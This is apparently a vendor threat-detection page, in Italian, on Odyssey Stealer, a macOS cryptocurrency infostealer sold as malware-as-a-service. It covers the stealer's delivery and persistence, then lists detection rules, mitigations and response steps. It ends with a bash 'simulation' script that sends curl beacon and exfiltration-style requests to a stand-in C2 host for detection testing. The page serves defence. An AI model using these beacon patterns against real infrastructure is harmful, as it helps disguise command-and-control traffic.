Odyssey Stealer: All’interno di un’operazione di furto di criptovalute su macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Odyssey Stealer è un infostealer per macOS focalizzato su portafogli e estensioni di criptovalute. È commercializzato come una piattaforma Malware-as-a-Service dove gli affiliati affittano l’accesso a un C2 centralizzato e un pannello di amministrazione. La consegna si basa tipicamente su un AppleScript offuscato che installa un LaunchDaemon persistente che interroga il C2 per i comandi. L’operatore può anche sostituire le app legittime di Ledger e Trezor con versioni trojanizzate per catturare credenziali e dati di transazione.
Investigazione
I ricercatori hanno identificato il C2 utilizzando tag meta HTML unici, hash del corpo della pagina e un hash favicon condiviso. Hanno mappato dieci host fisici attraverso più cluster ASN, prevalentemente in Europa e nei Paesi Bassi. La dissezione del payload ha rivelato un AppleScript dropper a più stadi, persistenza di LaunchDaemon e un binario proxy SOCKS5 compilato in Go. I dati di configurazione incorporati nel dropper hanno rivelato identificatori di affiliati e ID build.
Mitigazione
Sorvegliare l’attività sospetta di osascript, specialmente stringhe lunghe offuscate, file plist di LaunchDaemon sconosciuti con etichette casuali e richieste POST in uscita agli endpoint “/log”. Attivare allerta per binari avviati da LaunchDaemon e attività SOCKS5 sospette. Verificare la firma del codice per le applicazioni Ledger e Trezor e bloccare i domini e indirizzi IP noti del C2. Addestrare gli utenti a trattare le richieste di password inaspettate e gli “aggiornamenti del portafoglio” come ad alto rischio.
Risposta
Al rilevamento, isolare il sistema, terminare il LaunchDaemon malevolo e rimuovere le applicazioni di portafoglio trojanizzate. Catturare il traffico di rete verso i domini e IP di C2 identificati per l’investigazione, quindi resettare le credenziali di criptovaluta esposte e ruotare le password macOS. Effettuare una revisione forense completa per identificare ulteriori artefatti.
Flusso di Attacco
Rilevamenti
Archiviazione Shell MacOS Supporto Dati Applicazione (via cmdline)
Visualizza
MacOS Osascript Generazione Curl (via cmdline)
Visualizza
Scrittura Shell MacOS nella Directory LaunchDaemons (via file_event)
Visualizza
IOC (SourceIP) da rilevare: Odyssey Stealer: All’interno di un’Operazione di Furto Cripto su macOS
Visualizza
IOC (DestinationIP) da rilevare: Odyssey Stealer: All’interno di un’Operazione di Furto Cripto su macOS
Visualizza
IOC (HashSha256) da rilevare: Odyssey Stealer: All’interno di un’Operazione di Furto Cripto su macOS
Visualizza
IOC (HashMd5) da rilevare: Odyssey Stealer: All’interno di un’Operazione di Furto Cripto su macOS
Visualizza
Rilevamento Endpoint C2 di Odyssey Stealer [Webserver]
Visualizza
Odyssey Stealer: Rilevamento di AppleScript Offuscato e Uso di Curl [Creazione Processi Linux]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo del Telemetria & Baseline Pre-volo deve essere passato.
-
Narrativa dell’Attacco & Comandi:
Un avversario ha distribuito l’Odyssey Stealer su una workstation macOS. Dopo aver compromesso l’utente, il malware inizia un segnale al suo server C2 per scaricare payload aggiuntivi ed esfiltrare i dati raccolti. Il segnale usa il binariocurlnativo (binario firmato Apple) per emettere richieste HTTP GET agli endpoint C2 definiti nella regola. L’attaccante sceglie questi specifici percorsi URI perché sono brevi, si fondono con il traffico web tipico e evitano di essere rilevati da soluzioni generiche di filtraggio URL.Passaggi:
- Risolvere il nome host del C2 (simulato come
c2.odyssey.example.com). - Emettere una richiesta GET a
/d/aff123456– imita l’endpoint di esfiltrazione dati con un codice affiliato casuale e un token numerico. - Emettere una richiesta GET a
/api/v1/bot/– simula il battito del cuor del bot-management. - Opzionalmente, inviare una richiesta a
/logper emulare il traffico di registrazione interno utilizzato dal malware per la segnalazione di stato.
- Risolvere il nome host del C2 (simulato come
-
Script di Test di Regressione: Il seguente script bash riproduce esattamente il traffico necessario per attivare la regola di rilevamento.
#!/usr/bin/env bash # Simulazione del beacon C2 di Odyssey Stealer per la convalida del rilevamento # Requisiti: curl, proxy di rete configurato come da passaggi pre-volo C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # regolare all'indirizzo del proxy Squid # Funzione per inviare una richiesta tramite il proxy send_request() { local path=$1 echo "[*] Invio della richiesta a https://${C2_HOST}${path} tramite proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Endpoint di esfiltrazione dati (affiliato casuale + cifre) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Battito del cuore della gestione del bot send_request "/api/v1/bot/" # 3. Endpoint di registrazione opzionale send_request "/log" echo "[+] Simulazione completa. Verificare le allerte nel SIEM."Salva lo script come
odyssey_beacon.sh, rendilo eseguibile (chmod +x odyssey_beacon.sh) e eseguilo sull’host macOS di test. -
Comandi di Pulizia: Rimuovere eventuali file temporanei e opzionalmente disabilitare il proxy per l’utente di test.
# Disabilita le impostazioni del proxy per l'interfaccia Wi-Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Opzionale) Arrestare Squid se è stato avviato solo per questo test # brew services stop squid echo "Impostazioni del proxy ripristinate e Squid arrestato (se applicabile)."